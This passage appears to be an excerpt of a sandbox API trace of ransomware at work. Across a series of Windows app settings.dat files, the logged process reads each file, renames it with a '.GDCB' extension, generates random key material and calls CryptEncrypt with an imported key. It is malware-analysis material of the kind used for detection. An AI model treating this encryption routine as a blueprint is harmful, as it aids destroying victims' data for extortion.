hTemplateFile=0x0) returned 0x50c [0231.630] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d20000 [0231.633] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d30000 [0231.634] ReadFile (in: hFile=0x50c, lpBuffer=0x7d30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7d30000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0231.643] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7e40000 [0231.648] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0231.681] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0231.683] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.685] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.685] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0231.685] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.685] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0231.686] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.688] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.688] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0231.688] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.688] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0231.690] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f838) returned 1 [0231.690] CryptGetKeyParam (in: hKey=0x659f838, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0231.690] CryptEncrypt (in: hKey=0x659f838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0231.690] GetLastError () returned 0x0 [0231.690] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.690] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0231.692] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f978) returned 1 [0231.692] CryptGetKeyParam (in: hKey=0x659f978, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0231.692] CryptEncrypt (in: hKey=0x659f978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0231.693] GetLastError () returned 0x0 [0231.693] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.693] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0231.694] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d20000 [0231.696] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d30000 [0231.697] ReadFile (in: hFile=0x50c, lpBuffer=0x7d30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7d30000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0231.705] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7e40000 [0231.710] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0231.747] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0231.750] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.752] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.752] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0231.752] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0231.753] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0231.755] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.757] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.757] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0231.757] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.758] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0231.760] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659fbb8) returned 1 [0231.760] CryptGetKeyParam (in: hKey=0x659fbb8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0231.760] CryptEncrypt (in: hKey=0x659fbb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0231.761] GetLastError () returned 0x0 [0231.761] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.761] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0231.763] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659fc78) returned 1 [0231.763] CryptGetKeyParam (in: hKey=0x659fc78, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0231.763] CryptEncrypt (in: hKey=0x659fc78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0231.763] GetLastError () returned 0x0 [0231.763] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.763] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0231.765] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d20000 [0231.767] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d30000 [0231.768] ReadFile (in: hFile=0x50c, lpBuffer=0x7d30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7d30000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0231.776] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7e40000 [0231.781] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0231.830] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0231.833] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.834] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.834] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0231.834] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.834] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0231.836] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.837] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.837] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0231.837] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0231.837] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0231.839] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659fcb8) returned 1 [0231.840] CryptGetKeyParam (in: hKey=0x659fcb8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0231.840] CryptEncrypt (in: hKey=0x659fcb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0231.840] GetLastError () returned 0x0 [0231.840] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.840] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0231.842] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659fb78) returned 1 [0231.842] CryptGetKeyParam (in: hKey=0x659fb78, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0231.842] CryptEncrypt (in: hKey=0x659fb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0231.842] GetLastError () returned 0x0 [0231.842] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.842] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0231.844] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d20000 [0231.846] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d30000 [0231.847] ReadFile (in: hFile=0x50c, lpBuffer=0x7d30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7d30000*, lpNumberOfBytesRead=0x285d8f8*=0x2000, lpOverlapped=0x0) returned 1 [0231.856] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7e40000 [0231.862] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0231.922] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0231.924] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.925] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.925] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0231.925] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.925] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0231.927] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.928] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.928] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0231.929] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.929] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0231.931] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659fdf8) returned 1 [0231.931] CryptGetKeyParam (in: hKey=0x659fdf8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0231.931] CryptEncrypt (in: hKey=0x659fdf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0231.931] GetLastError () returned 0x0 [0231.931] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.931] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0231.933] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659faf8) returned 1 [0231.934] CryptGetKeyParam (in: hKey=0x659faf8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0231.934] CryptEncrypt (in: hKey=0x659faf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0231.934] GetLastError () returned 0x0 [0231.934] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.934] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0231.935] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d20000 [0231.937] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d30000 [0231.939] ReadFile (in: hFile=0x50c, lpBuffer=0x7d30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7d30000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0231.945] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7e40000 [0231.991] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0232.098] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0232.101] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.102] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.102] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0232.102] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.102] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0232.104] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.105] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.105] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0232.105] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0232.105] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0232.108] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659fbf8) returned 1 [0232.108] CryptGetKeyParam (in: hKey=0x659fbf8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0232.108] CryptEncrypt (in: hKey=0x659fbf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0232.108] GetLastError () returned 0x0 [0232.108] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0232.108] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0232.110] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f8b8) returned 1 [0232.110] CryptGetKeyParam (in: hKey=0x659f8b8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0232.110] CryptEncrypt (in: hKey=0x659f8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0232.110] GetLastError () returned 0x0 [0232.110] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0232.110] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0232.112] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d20000 [0232.113] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d30000 [0232.115] ReadFile (in: hFile=0x50c, lpBuffer=0x7d30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7d30000*, lpNumberOfBytesRead=0x285d8f8*=0x2000, lpOverlapped=0x0) returned 1 [0232.133] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7e40000 [0232.138] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application 